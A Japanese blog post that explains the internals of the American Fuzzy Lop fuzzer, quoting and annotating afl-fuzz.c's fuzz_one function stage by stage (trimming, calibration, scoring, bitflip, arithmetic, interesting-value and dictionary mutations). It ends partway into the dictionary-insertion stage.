ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

American Fuzzy Lop internals

American Fuzzy Lopのソースコード解析

ここ最近のAmerican Fuzzy Lopに対してオレオレ実装した過程でソースコードを解析したので、その結果をブログにまとめてみようということで書いてみました。ソースコードの解析しているようなブログなどはとくにみたことがない(2018/03/19時点)ので書く価値があるのかなという自己満足で書いてみました

American Fuzzy Lopとは

American Fuzzy LopはGoogleのエンジニアである、Michal Zalewski氏らによるfuzzing toolである。fuzzingとはざっくりいうと「自動でバグ、脆弱性を見つけようぜ」というものである。

有名なところで言うとCGC(Cyber Grand Challenge)でコンピュータ同士の攻防でfuzzingが使われていたりする。またここ最近の出来事としては2017年のプレスリリースされたMicrosoftSecurity Risk Detectionというものがある。これはNeural fuzzing: applying DNN to software security testingにかかれている通りfuzzingのアルゴリズムにDeep Neual Networkを適応させている。

つまり、「自動でバグや脆弱性を見つけるサービスをはじめました」ということである。有名な企業がこういったことをやっているくらいホットな話題なので興味があるのであれば、ぜひこれをスタートアップとして、fuzzingに取り組んでほしい。

American Fuzzy Lopのアルゴリズムについて

Amrican Fuzzy Lopのアルゴリズム遺伝的アルゴリズムである。もっと簡単に言うと「testするものが実行速度が速くて、カバー範囲(様々な条件分岐に対応している)が広くて、より深く(条件分岐の先の先)までtestすることができるのが良いcase」という考えのもとで実装がされている。

American Fuzzy Lopとしては「とにかく速く、正確に、より多くの不要な部分(不要なライブラリでCPUを多く使うなど)を除き、シンプルなソースコードである」というのをコンセプトとしている。

American Fuzzy Lopの変異戦略について

変異戦略とは、ユーザーが用意した初期値を様々な方法で変化させていく方法である。大きく分けて以下の6つある。

  • SIMPLE BITFLIP(xor戦略)
  • ARITHMETIC INC/DEC(数字加算/数字減算戦略)
  • INTERESTING VALUES(固定値を挿入する戦略)
  • DICTIONARY STUFF(辞書型のdataを挿入する戦略)
  • RANDOM HAVOC(ランダムに用意された戦略を選ぶ戦略)
  • SPLICING(dataをspliteする戦略)

今回はこの6つのすべてをソースコード(afl-fuzz.cのfuzz_one関数)を用いながら詳しく、よりシンプルに説明をしていく。

以下はソースコードにメモを残したものですよかったらどうぞ。(afl-2.52bディレクトリです)

github.com

戦略に入る前処理(不要なdataのskip)

実際に戦略に入る前に最小限のfuzzingをするために不必要な部分のdata(queue)を取り除いていく。取り除かれるdataは以下の3つになる。

  • 戦略処理を待っているエラーを見つけるようなdata(pending_favored)があれば、そのdataがすでにfuzzingされているdata(already-fuzzed)または、エラーを起こすような変化がないdata(non-favored)であった場合は99%の確率で戦略を起こさずにreturnする。
  • penging_favoredがない場合は、fuzzingを実行するときのoptionでdumb_mode(ユーザーの初期値のみでfuzzingを行うmode,私の中ではアホの子modeとよんでいる)ではない、現在のdataがエラーを見つけるようなdata(favored queue)ではない、戦略処理を待っているqueueの数(queue_paths)が10個よりも少ない。という3つの条件が揃った時に以下の2つの条件にいく
    • queue_pathsされているものを1周した時に加算される数(queue cycle)が1周より上、すでにfuzzingされているqueueの2つの条件があっていれば75%の確率で戦略を起こさずにreturnする。
    • それ以外の条件であれば95%の確率で戦略を起こさずにreturnする。

以下はそのソースコードに当たる部分である。

#ifdef IGNORE_FINDS

  /* In IGNORE_FINDS mode, skip any entries that weren't in the
     initial data set. */

  if (queue_cur->depth > 1) return 1;

#else

  if (pending_favored) {

    /* If we have any favored, non-fuzzed new arrivals in the queue,
       possibly skip to them at the expense of already-fuzzed or non-favored
       cases. */
// already-fuzzed と non-favoredはskipする
    if ((queue_cur->was_fuzzed || !queue_cur->favored) &&
        UR(100) < SKIP_TO_NEW_PROB) return 1;

  } else if (!dumb_mode && !queue_cur->favored && queued_paths > 10) {//pending_favoredがないときこちらの条件を比べる

    /* Otherwise, still possibly skip non-favored cases, albeit less often.
       The odds of skipping stuff are higher for already-fuzzed inputs and
       lower for never-fuzzed entries. */

    if (queue_cycle > 1 && !queue_cur->was_fuzzed) {//lower for never-fuzzed entries.

      if (UR(100) < SKIP_NFAV_NEW_PROB) return 1;//75%の確率でreturn

    } else {//higher for already-fuzzed

      if (UR(100) < SKIP_NFAV_OLD_PROB) return 1;//95%の確率でreturn

    }

  }

#endif /* ^IGNORE_FINDS */

戦略に入る前処理(CALIBRATIONを失敗しているdataであるとき)

  • CALIBRATIONとは、実際にdata(queue)を使って実行ファイルを走らせ、そのqueueのカバー範囲、実行速度、どのようなエラーになるかなどを記録する関数である。
  • これからcalibrate_case関数の説明をしていく。
  • fuzz_one関数に入る前の段階でcalibration関数は実行されており、失敗するようなflag(cal_failed)が立つのは関数が実行され始めてすぐの部分である。
  • デフォルトの状態(dumb_modeではない状態)であればinit_forkserverを使って子プロセスを生成する。
  • write_to_testcaseで.cur_input fileにdataの内容を書き込む。
  • 書き込んだあと、run_target関数で子プロセスの方で実行ファイルをexecvで実行して、その実行結果を親プロセスに返す。
  • stageは全部で8回(fast calibrationのflagが立っていない時)行われる。つまり、run_targetは全部で8回行われる。
  • run_targetが終わるたびにカバー範囲(trace_bits)を使ってhashを生成する。
  • hashは一番最初にrun_targetを実行した時のhashを現在のqueueに保存したあとに、最初のカバー範囲をfirst_traceに入れて後のstageと比べる
  • 2回目以降に生成したhashが一番最初のhashと違っていた場合、新しいinputの組み合わせ(new tuple)で、新たなカバー範囲を見つけたので全体のカバー範囲(virgin_bits)の更新を行う
  • first traceとtrace bitsを比べていき、一致しなかったらその部分に変化があった場所(var_bytes)としてflagを立てる。
  • update_bitmap_score関数で現在のqueueが現時点で最も優れているqueue(top_rated)と比べて実行時間とdataの長さを掛けた数よりも小さかったらtop_ratedと入れ替える。
  • もしなかった場合はtop_ratedに現在のqueueを入れる。
  • queueに変化があった場所(var_bytes)があったというflagを立てる。
    以下に戦略に入る前処理(CALIBRATIONを失敗しているdataであるとき)を載せておく。cliburation関数の方は公開したコメント付きソースコードでみてほしい。
/*******************************************
   * CALIBRATION (only if failed earlier on) *
   *******************************************/

  if (queue_cur->cal_failed) {

    u8 res = FAULT_TMOUT;

    if (queue_cur->cal_failed < CAL_CHANCES) {// 3より小さい場合のみcalibrate_case関数を実行

      res = calibrate_case(argv, queue_cur, in_buf, queue_cycle - 1, 0);

      if (res == FAULT_ERROR)
        FATAL("Unable to execute target application");

    }

    if (stop_soon || res != crash_mode) {
      cur_skipped_paths++;// 現在のqueueをスキップしたのでスキップした数を増やす
      goto abandon_entry;
    }

  }

戦略に入る前処理(dataの最小限までのtrimming)

  • trimとはdataの振る舞いに影響を与えない最小限のdataのtrimmingをおこなうものである。trim_case関数で行われる。これからtrim_case関数の説明をしていく。
  • trim_caseではdataを16で割り、1024まで2ずつ割っていく。このとき、run_target関数を実行して、hashが変わったかを比べて変わっていたらcalibration関数と同様にupdate_bitmap_scoreを更新するが、割り切れるまでループを抜けないので現在のtrace_bitsをclean_traceに保存する。
  • 割り切れる最小値まで割り続けるので必然的に「カバー範囲(trace_bits)に変化があった最小値の長さ」まで割られる。
    以下にtrimmingの部分のソースコードを載せておく。trim_caseの部分は公開したコメント付きソースコードを見てほしい
  /************
   * TRIMMING *
   ************/

  if (!dumb_mode && !queue_cur->trim_done) {

    u8 res = trim_case(argv, queue_cur, in_buf);// queueをtrimして実行させる

    if (res == FAULT_ERROR)
      FATAL("Unable to execute target application");

    if (stop_soon) {
      cur_skipped_paths++;//放棄した数を増やす
      goto abandon_entry;
    }

    /* Don't retry trimming, even if it failed. */
// 失敗していたとしてもtrim_done flagをたてる
    queue_cur->trim_done = 1;

    if (len != queue_cur->len) len = queue_cur->len;//trimmingしてqueueの長さが違っていたら変更する

  }

  memcpy(out_buf, in_buf, len);//trimされているのであればdataの更新を行う(trimされていなかったら値は変わっていない)

戦略に入る前処理(dataの点数付け)

  • preformance scoreはqueueの点数付けを行う部分である。calculate_score関数で点数をつける。これからcalculate_score関数の説明をしていく。
  • scoreが良くなる条件は4つある。
  • 1つ目は平均実行時間よりも少なければ少ないほど良いscoreになる。
  • 2つ目はcover範囲が広ければ広いほど良いscoreになる。
  • 3つ目はqueue cycleの回数が高ければ高いほど良いscoreにする。これはqueueが多く実行されればされるほど変異を様々なtupleで行われエラーを見つけやすくなるためである。
  • 4つ目はより深く条件分の先の先(depth)までいくqueueは良いscoreになる。
  • calculate_scoreが終わって、変異戦略をskipする(正確にはRANDOM HAVOCまでgoto)条件として -d optionがある、すでにfuzzingされているもの(was_fuzzed)、過去にfuzzingした(resume)favored pathとしてqueue(passd_det)が残っている。(American Fuzzy Lopはoutputディレクトリに過去に中断したdata(queue)を記録しているため、それを使って再び途中から実行させることができる機能を持っている。このdataをresume queueという。20分以上実行した形跡があるのであればfuzzingを最初から実行させようとすると初期化の段階で警告文が出て実行が中断される)の3つの条件のうちどれかに当てはまるとskipする。
  • skipしなかった場合はこれから全部の戦略を実行しますflag(doing_det)を立てる。 以下はそのソースコードに当たる部分である。calculate_score関数は公開したコメント付きソースコードを見てほしい
  /*********************
   * PERFORMANCE SCORE *
   *********************/

  orig_perf = perf_score = calculate_score(queue_cur);//queueのscoreをつける

  /* Skip right away if -d is given, if we have done deterministic fuzzing on
     this entry ourselves (was_fuzzed), or if it has gone through deterministic
     testing in earlier, resumed runs (passed_det). */

  if (skip_deterministic || queue_cur->was_fuzzed || queue_cur->passed_det)
    goto havoc_stage;

  /* Skip deterministic fuzzing if exec path checksum puts this out of scope
     for this master instance. */

  if (master_max && (queue_cur->exec_cksum % master_max) != master_id - 1)
    goto havoc_stage;

  doing_det = 1;//deterministic fuzzing flagを立てる

SIMPLE BITFLIP(xor戦略)

  • SIMPLE BITFLIPでは、bit単位のxor、byte単位でのxorの2つの戦略でqueueを変異させていく。
    まずは、bit単位のxorの説明をしていく。
  • bit単位のxorでは3つの段階にわけられてqueueを変異させていく。
  • 最初の段階では1byteを1つの部分に対して、0x80でstage数に合わせて右にbitシフトさせてxorをしていく。
  • 2段階目では1byteを2つの部分に対して、0x80でstage数に合わせて右にbitシフトさせてxorをしていく。
  • 3段階では1byteを4つの部分に対して、0x80でstage数に合わせて右にbitシフトさせてxorをしていく。
    基本的には処理は3つとも同じであるため、最初の段階のSingle walking bitだけを説明する。
  • stageごとに、common_fuzz_stuff関数が実行されてrun_target関数が実行される。run_targetの戻り値として返ってきた実行結果(fault)をsave_if_interesting関数を使って振り分ける。これからsave_if_interesting関数の説明をする。
  • save_if_interesting関数を開始してすぐに-C option(crash_mode)の場合の処理に入る。今回はデフォルトの処理の説明をこれからしていく。
  • switch文でFAULT_TMOUT、FAULT_CRASHでfaultの内容が振り分けられる。
    • FAULT_TMOUTのとき、実行ファイルはtime outエラーを起こして終了している。
      • time outを起こして終了した全体の数(total_tmouts)を加算する。
      • simplify_trace関数を使ってtrace_bitsのnot hit、hit(それぞれ0x01、0x80でマークされている)のマークづけを行う。
      • has_new_bitsを使って、trace_bitsとvirgin_tmout(time out error用の全体のカバー範囲)を比べて、見たことがないtime out(hit countの変更とnew tuple)がなければreturnをする
      • unique time outの数を増やす(unique_tmouts)
      • もし、ユーザーが設定したtime outが小さい場合はもう一度hang_tmout(1000ms)でrun_target関数を走らせる。
      • FAULT_CRASHであればFAULT_CRASHの処理にいく。FAULT_TMOUTであれば何もしないでreturnする。
    • FAULT_CRASHのとき、実行ファイルはSEGVエラーを起こして終了している。
    • 処理はFAULT_TMOUTと変わらないため省略
  • (common_fuzz_stuff関数を抜けると)stageが8の倍数 - 1(8byte単位)とき、hashを生成して、それぞれの段階で自動辞書型(a_extras)の生成を行う
    • 現在のstageが一番最後かつ、cksumとprev_cksum(前回のチェックサム)が一致するときは次の処理に入る。
      • out_bufの一番最後の文字をa_collectに入れる。
      • a_len(a_collectの長さ)の長さが3以上32以下であれば、maybe_add_auto関数を実行して自動辞書型(a_extras)の生成を行う
    • cksumとprev_cksum(前回のチェックサム)が一致しないとき
      • a_len(a_collectの長さ)の長さが3以上32以下であれば、maybe_add_auto関数を実行して自動辞書型(a_extras)の生成を行う
      • prev_cksumをcksumに更新する。
    • 現在のqueueのcksumと生成したcksumを比べて一致しなかった場合
      • a_len(a_collectの長さ)の長さが32より下であれば、out_bufの一番最後の文字をa_collectに入れる。a_lenを加算する。
  • ループ処理を抜けるとSingle walking bitで見つけた、条件分岐先(queued_paths)、実行エラー(unique_crashes)を加算する。
    以下はそのソースコードに当たる部分である。save_if_interesting関数、simplify_trace関数、common_fuzz_stuff関数、maybe_add_auto関数、2段階目、3段階目は公開したコメント付きソースコードを見てほしい
  /*********************************************
   * SIMPLE BITFLIP (+dictionary construction) *
   *********************************************/

#define FLIP_BIT(_ar, _b) do { \
    u8* _arf = (u8*)(_ar); \
    u32 _bf = (_b); \
    _arf[(_bf) >> 3] ^= (128 >> ((_bf) & 7)); \
  } while (0)

  /* Single walking bit. */

  stage_short = "flip1";
  stage_max   = len << 3;// len * 2^3した値(bit単位)をstage_maxにする
  stage_name  = "bitflip 1/1";

  stage_val_type = STAGE_VAL_NONE;

  orig_hit_cnt = queued_paths + unique_crashes;

  prev_cksum = queue_cur->exec_cksum;

  for (stage_cur = 0; stage_cur < stage_max; stage_cur++) {

    stage_cur_byte = stage_cur >> 3;

    FLIP_BIT(out_buf, stage_cur);

    if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;//実行してtime outとskip flagがあればgoto

    FLIP_BIT(out_buf, stage_cur);
       .
       .
       .

    if (!dumb_mode && (stage_cur & 7) == 7) {//stage_curが7の倍数であれば

      u32 cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);

      if (stage_cur == stage_max - 1 && cksum == prev_cksum) {

        /* If at end of file and we are still collecting a string, grab the
           final character and force output. */

        if (a_len < MAX_AUTO_EXTRA) a_collect[a_len] = out_buf[stage_cur >> 3];
        a_len++;

        if (a_len >= MIN_AUTO_EXTRA && a_len <= MAX_AUTO_EXTRA)
          maybe_add_auto(a_collect, a_len);//out_bufの1byteを追加最後のステージなのでa_lenの初期化はない

      } else if (cksum != prev_cksum) {//前回とチェックサムが違った場合

        /* Otherwise, if the checksum has changed, see if we have something
           worthwhile queued up, and collect that if the answer is yes. */

        if (a_len >= MIN_AUTO_EXTRA && a_len <= MAX_AUTO_EXTRA)
          maybe_add_auto(a_collect, a_len);

        a_len = 0;//addしたのでa_lenを初期化
        prev_cksum = cksum;//チェックサムの更新

      }

      /* Continue collecting string, but only if the bit flip actually made
         any difference - we don't want no-op tokens. */

      if (cksum != queue_cur->exec_cksum) {

        if (a_len < MAX_AUTO_EXTRA) a_collect[a_len] = out_buf[stage_cur >> 3];        
        a_len++;

      }

    }

  }

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_FLIP1]  += new_hit_cnt - orig_hit_cnt;//stage_flip1でみつけたpathとcrashesの数を加算
  stage_cycles[STAGE_FLIP1] += stage_max;//stageを実行した回数を加算

次にbyte単位のxorの説明をしていく。

  • byte単位でのxorでは1byte単位、2bytes単位、4bytes単位の3つでqueueを変異させていく。
  • 今回は1byte単位の説明だけをしていく。
  • ループに入ったすぐにout_bufの1byteを0xffで反転する。
  • common_fuzz_stuff関数でrun_target関数で実行ファイルを走らせる。
  • stageごとに変更を加えた場所にマーク付けを行う(eff_map)部分にマーク付けが行われていなかった場合
    • dataの長さが128byte以上であればhashの生成を行う(ただし、dumb_modeでないとき)
    • それ以外の時はqueueに保存されているチェックサムを反転させた値をcksumに入れる。
    • cksumとqueueに保存されているチェックサムが違った場合eff_mapにマーク付けを行い、eff_mapにマーク付けされている数(eff_cnt)を増やす。
  • 反転させていたoutbufの1byteを元に戻す。
  • ループを抜けてすぐに、eff_mapにマーク付けされている数が90%以上あれば、lenを8byte単位にした状態でeff_mapの先頭からマーク付けを行う。
  • 8byteごとにマーク付けを行った数(blocks_eff_select)だけ加算する。
  • 全体の8byteごとにマーク付けを行った数(blocks_eff_total)を加算する
    1byte単位のxorの部分だけのソースコードを載せる。残りの部分は公開したソースコードで確認してほしい。
  /* Walking byte. */

  stage_name  = "bitflip 8/8";
  stage_short = "flip8";
  stage_max   = len;

  orig_hit_cnt = new_hit_cnt;

  for (stage_cur = 0; stage_cur < stage_max; stage_cur++) {

    stage_cur_byte = stage_cur;

    out_buf[stage_cur] ^= 0xFF;//1byte反転させる

    if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;

    /* We also use this stage to pull off a simple trick: we identify
       bytes that seem to have no effect on the current execution path
       even when fully flipped - and we skip them during more expensive
       deterministic stages, such as arithmetics or known ints. */

    if (!eff_map[EFF_APOS(stage_cur)]) {//現在のstageがeff_mapになかった場合

      u32 cksum;

      /* If in dumb mode or if the file is very short, just flag everything
         without wasting time on checksums. */

      if (!dumb_mode && len >= EFF_MIN_LEN)
        cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);// 現在のqueueの長さが128byte以上であったら
      else
        cksum = ~queue_cur->exec_cksum;//128byte以上ではない場合はチェックサムを反転させたものを生成

      if (cksum != queue_cur->exec_cksum) {//128byte以上で生成したチェックサム、反転させたqueueのチェックサムがqueueのチェックサムと違った場合、eff_mapに現在のstageのflagをつける
        eff_map[EFF_APOS(stage_cur)] = 1;
        eff_cnt++;
      }

    }

    out_buf[stage_cur] ^= 0xFF;//元に戻す

  }

  /* If the effector map is more than EFF_MAX_PERC dense, just flag the
     whole thing as worth fuzzing, since we wouldn't be saving much time
     anyway. */
//密集している数が90%より上であれば
  if (eff_cnt != EFF_ALEN(len) &&
      eff_cnt * 100 / EFF_ALEN(len) > EFF_MAX_PERC) {//lenの8byte単位の個数とlen AND 0x03の値(lenが1byteから7byte用)を足した値をeff_cntと比べるかつ、

    memset(eff_map, 1, EFF_ALEN(len));//8byte単位にアラインメントしたものをeff_mapの先頭から埋めていく

    blocks_eff_select += EFF_ALEN(len);//埋めた数だけ加算する

  } else {

    blocks_eff_select += eff_cnt;//それ以外であれば現在のeff_cntを加算する

  }

  blocks_eff_total += EFF_ALEN(len);

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_FLIP8]  += new_hit_cnt - orig_hit_cnt;
  stage_cycles[STAGE_FLIP8] += stage_max;

ARITHMETIC INC/DEC(数字加算/数字減算戦略)

ここでの戦略では、1から35までの数字を順番に加算・減算をやっていく。

  • 加算と減算は8bit、16bit、32bitの3つの方法で行われる。
  • eff_mapにマーク付けがされていないところでは、この戦略は行わない。
  • 前回の戦略であるbitflipができなかったものに対して(could_be_bitflip関数を使って判断をする)、この戦略を行っていく。
  • できなかったものに対してやる理由は、前戦略でのbitflipと同じdataを実行しないようにするためである。
  • 16bit、32bitはlittle endianとbig endianを考慮した戦略になっている。
    今回は、16bitでの説明をしていく。
  • dataの長さが、2byteない状態であればARITHMETIC INC/DEC戦略をskipする。
  • stage_max(ループを行う最大回数)は加算、減算のlittle endian用と加算、減算のbig endian用の4つを最大回数に設定をする。
  • out_bufを2byteずつorigに入れて、eff_mapに連続でマーク付けを行われているかを確認する。マークづけされていなければskipする。
  • マークされている場合、ARITHMETIC(1から35)までを順番にlittle endianとbig endianの加算と減算を行っていく。
  • 最初はlittle endian
    • 加算するときにoverflowを起こしていないかをチェックしたあとに、could_be_bitflip関数を使ってbitflipができないことを確認する。これらの条件を突破したらcommon_fuzz_stuff関数を実行する。
    • 減算するときにunderflowを起こしていないかをチェックしたあとに、could_be_bitflip関数を使ってbitflipができないことを確認する。これらの条件を突破したらcommon_fuzz_stuff関数を実行する
  • out_bufを元に戻す。
  • 次はbig endian
    • 処理はlittle endianと変わらない。
    • 変わるのはSWAP関数を使ってbig endianにするくらい。
      以下は、16bitの戦略部分である。その他の部分は公開したソースコードを確認してほしい。
 if (len < 2) goto skip_arith;

  stage_name  = "arith 16/8";
  stage_short = "arith16";
  stage_cur   = 0;
  stage_max   = 4 * (len - 1) * ARITH_MAX;//4はINC/DECのlittle endianとBig endian用

  orig_hit_cnt = new_hit_cnt;

  for (i = 0; i < len - 1; i++) {

    u16 orig = *(u16*)(out_buf + i);

    /* Let's consult the effector map... */

    if (!eff_map[EFF_APOS(i)] && !eff_map[EFF_APOS(i + 1)]) {
      stage_max -= 4 * ARITH_MAX;
      continue;
    }

    stage_cur_byte = i;

    for (j = 1; j <= ARITH_MAX; j++) {
//SWAP16はlittle endian対策下位1byteと上位1byteを入れ替える(big endian用)
      u16 r1 = orig ^ (orig + j),
          r2 = orig ^ (orig - j),
          r3 = orig ^ SWAP16(SWAP16(orig) + j),
          r4 = orig ^ SWAP16(SWAP16(orig) - j);

      /* Try little endian addition and subtraction first. Do it only
         if the operation would affect more than one byte (hence the 
         & 0xff overflow checks) and if it couldn't be a product of
         a bitflip. */

      stage_val_type = STAGE_VAL_LE; 

      if ((orig & 0xff) + j > 0xff && !could_be_bitflip(r1)) {//orig(2byte)を0xff(下位1byteがlittle endianなので上位にくる)と比べてoverflowしていないかチェックをする

        stage_cur_val = j;
        *(u16*)(out_buf + i) = orig + j;

        if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
        stage_cur++;
 
      } else stage_max--;

      if ((orig & 0xff) < j && !could_be_bitflip(r2)) {//underflowチェックを行う下位1byteがjよりも小さかったら

        stage_cur_val = -j;
        *(u16*)(out_buf + i) = orig - j;

        if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
        stage_cur++;

      } else stage_max--;

      /* Big endian comes next. Same deal. */

      stage_val_type = STAGE_VAL_BE;//次はbig endianにして考える


      if ((orig >> 8) + j > 0xff && !could_be_bitflip(r3)) {

        stage_cur_val = j;
        *(u16*)(out_buf + i) = SWAP16(SWAP16(orig) + j);

        if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
        stage_cur++;

      } else stage_max--;

      if ((orig >> 8) < j && !could_be_bitflip(r4)) {

        stage_cur_val = -j;
        *(u16*)(out_buf + i) = SWAP16(SWAP16(orig) - j);

        if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
        stage_cur++;

      } else stage_max--;

      *(u16*)(out_buf + i) = orig;

    }

  }

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_ARITH16]  += new_hit_cnt - orig_hit_cnt;
  stage_cycles[STAGE_ARITH16] += stage_max;

INTERESTING VALUES(固定値を挿入する戦略)

INTERESTING VALUESは、固定値を挿入するような戦略で、8bit,16bit,32bitの戦略で、それぞれの大きさでoverflow、underflow、off-by-one、比較するときにミスしそうな値を使ってfuzzingを行うようなものである。

  • eff_mapにマーク付けがされていないところでは、この戦略は行わない。
  • 前回の戦略であるbitflip, arithmetic, interesting(自身の処理よりも小さい大きさの戦略、自分自身)ができなかったものに対して(could_be_bitflip関数、could_be_arith関数、could_be_interest関数を使って判断をする)、この戦略を行っていく。
  • できなかったものに対してやる理由は、前戦略と同じdataを実行しないようにするためである。(無駄を省く)
  • 16bit、32bitはlittle endianとbig endianを考慮した戦略になっている。
    今回は、16bitでの説明をしていく。また、little endianとbig endianの処理はSWAP関数を使うかどうかなのでlittle endianの部分のみを説明する
  • dataの長さが、2byteない状態であれば戦略INTERESTING VALUESをskipする。
  • stage_max(ループを行う最大回数)はlittle endian用とbig endian用の2つを最大回数に設定をする。
    • out_bufを2byteずつorigに入れて、eff_mapに連続でマーク付けを行われているかを確認する。マークづけされていなければskipする。
    • マーク付けがされている場合、前回の戦略であるbitflip, arithmetic, interestingと同じではないことを確認して、同じであればskip
    • 同じではなかった場合はcommon_fuzz_stuff関数を実行する。
  • out_bufを元に戻す。
    以下は、16bitの戦略部分である。その他の部分は公開したソースコードを確認してほしい。
  /* Setting 16-bit integers, both endians. */

  if (no_arith || len < 2) goto skip_interest;

  stage_name  = "interest 16/8";
  stage_short = "int16";
  stage_cur   = 0;
  stage_max   = 2 * (len - 1) * (sizeof(interesting_16) >> 1);//little endian and big endian用

  orig_hit_cnt = new_hit_cnt;

  for (i = 0; i < len - 1; i++) {

    u16 orig = *(u16*)(out_buf + i);

    /* Let's consult the effector map... */

    if (!eff_map[EFF_APOS(i)] && !eff_map[EFF_APOS(i + 1)]) {
      stage_max -= sizeof(interesting_16);
      continue;
    }

    stage_cur_byte = i;

    for (j = 0; j < sizeof(interesting_16) / 2; j++) {

      stage_cur_val = interesting_16[j];

      /* Skip if this could be a product of a bitflip, arithmetics,
         or single-byte interesting value insertion. */

      if (!could_be_bitflip(orig ^ (u16)interesting_16[j]) &&
          !could_be_arith(orig, (u16)interesting_16[j], 2) &&
          !could_be_interest(orig, (u16)interesting_16[j], 2, 0)) {//origが3つともにあてはまらないものだけ

        stage_val_type = STAGE_VAL_LE;//現在のstageをlittle endianであることにする

        *(u16*)(out_buf + i) = interesting_16[j];

        if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
        stage_cur++;

      } else stage_max--;
// big endian用
      if ((u16)interesting_16[j] != SWAP16(interesting_16[j]) &&
          !could_be_bitflip(orig ^ SWAP16(interesting_16[j])) &&
          !could_be_arith(orig, SWAP16(interesting_16[j]), 2) &&
          !could_be_interest(orig, SWAP16(interesting_16[j]), 2, 1)) {

        stage_val_type = STAGE_VAL_BE;

        *(u16*)(out_buf + i) = SWAP16(interesting_16[j]);
        if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;
        stage_cur++;

      } else stage_max--;

    }

    *(u16*)(out_buf + i) = orig;//元に戻す

  }

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_INTEREST16]  += new_hit_cnt - orig_hit_cnt;
  stage_cycles[STAGE_INTEREST16] += stage_max;

DICTIONARY STUFF(辞書型のdataを挿入する戦略)

DICTIONARY STUFFは全部で3つの戦略を行う。

  • ユーザー側で用意した辞書型のdataを使ってout_bufをoverwriteする戦略
  • ユーザー側で用意した辞書型のdataを使ってout_bufを連結、挿入する戦略
  • 自動で生成した辞書型のdataを使ってout_bufをoverwriteする戦略
    ただし、ユーザー側で用意した辞書型の数(extras_cnt)、自動で生成した辞書型の数(a_extras_cnt)が0であればこれらの戦略はそれぞれskipする。(基本的にユーザー側で辞書型の初期値を用意していない限りこれらの戦略は行われない)
    まず最初に、ユーザー側で用意した辞書型のdataを使ってout_bufをoverwriteする戦略の説明からしていく。
  • ループ処理はout_bufのlenの大きさが最大回数とする。つまり、out_bufの先頭からユーザー側で用意した辞書型のdataを使ってout_bufをoverwriteする。
    • 次のループ処理はユーザー側で用意した辞書型の数を最大回数とする。辞書型は予め、size順にソートされている。(初期化の段階のload_extras関数の部分でソートされる)
      • extras_cntが200超えていたとしても、extras_cntを使ってランダム化(URとdefineされている)させて、200より低かった場合
      • 辞書型のlenがout_bufのlenよりも大きい時
      • out_bufと同じ値
      • eff_mapにextrasの長さ分末尾から探した時にflagが一つでも立っていない時
        この4つの条件に当てはまるとループをcontinue
        4つの条件に当てはまらなかった場合、out_bufをユーザー側で用意した辞書型のdataを使って上書きを行い、common_fuzz_stuff関数を実行する。成功したらstage_curを増やす。
  • out_bufをin_bufを使って上書きした部分を元に戻し、次のループにいく。
    以下は、該当部分のソースコードである。その他の部分は公開したソースコードを確認してほしい。
  /********************
   * DICTIONARY STUFF *
   ********************/

  if (!extras_cnt) goto skip_user_extras;

  /* Overwrite with user-supplied extras. */

  stage_name  = "user extras (over)";
  stage_short = "ext_UO";
  stage_cur   = 0;
  stage_max   = extras_cnt * len;

  stage_val_type = STAGE_VAL_NONE;

  orig_hit_cnt = new_hit_cnt;

  for (i = 0; i < len; i++) {

    u32 last_len = 0;

    stage_cur_byte = i;

    /* Extras are sorted by size, from smallest to largest. This means
       that we don't have to worry about restoring the buffer in
       between writes at a particular offset determined by the outer
       loop. */

    for (j = 0; j < extras_cnt; j++) {

      /* Skip extras probabilistically if extras_cnt > MAX_DET_EXTRAS. Also
         skip them if there's no room to insert the payload, if the token
         is redundant, or if its entire span has no bytes set in the effector
         map. */
// extras_cntが200超えていたとしても、extras_cntを使ってランダム化させて、200より低かった場合は次の条件に行く
// 辞書型のlenがout_bufのlenよりも大きい時、out_butと同じ値、eff_mapにextrasの長さ分末尾から探した時にflagが一つでも立っていない時、の3つのうちどれかに、あてはまった時はスキップ
      if ((extras_cnt > MAX_DET_EXTRAS && UR(extras_cnt) >= MAX_DET_EXTRAS) ||
          extras[j].len > len - i ||
          !memcmp(extras[j].data, out_buf + i, extras[j].len) ||
          !memchr(eff_map + EFF_APOS(i), 1, EFF_SPAN_ALEN(i, extras[j].len))) {

        stage_max--;
        continue;

      }

      last_len = extras[j].len;
      memcpy(out_buf + i, extras[j].data, last_len);

      if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry;

      stage_cur++;

    }

    /* Restore all the clobbered memory. */
    memcpy(out_buf + i, in_buf + i, last_len);//元に戻す

  }

  new_hit_cnt = queued_paths + unique_crashes;

  stage_finds[STAGE_EXTRAS_UO]  += new_hit_cnt - orig_hit_cnt;
  stage_cycles[STAGE_EXTRAS_UO] += stage_max;

次に、ユーザー側で用意した辞書型のdataを使ってout_bufを連結、挿入する戦略の説明を行う。

  • len + 128byte(ex_tmp)分のallocateを行う。
  • ループ処理はout_bufのlenの大きさが最大回数とする。つまり、out_bufの先頭からユーザー側で用意した辞書型のdataを使ってout_bufに対して挿入をする。
    • 次のループ処理はユーザー側で用意した辞書型の数を最大回数とする。辞書型は予め、size順にソートされている。(初期化の段階のload_extras関数の部分でソートされる)

      • len + extrasの長さが1KBよりも大きい場合はskip(小さい場合は以下に進む)
      • ex_tmpにextrasをコピーする。
      • extrasを挿入した後ろにout_bufを挿入する。(ループが進むにつれて、挿入する内容がout_bufの先頭から一つずつずれていく)
      • common_fuzz_stuff関数を実行する
      • stage_curを加算する
    • ex_tmpにout_bufのアドレスを代入する。(ループが進むに連れてex_tmpの先頭からout_bufに変わっていく)
  /* Insertion of user-supplied extras. */
//ユーザーが用意したfileのdata + out_bufを直接全て入れるやつ
  stage_name  = "user extras (insert)";
  stage_short = "ext_UI";
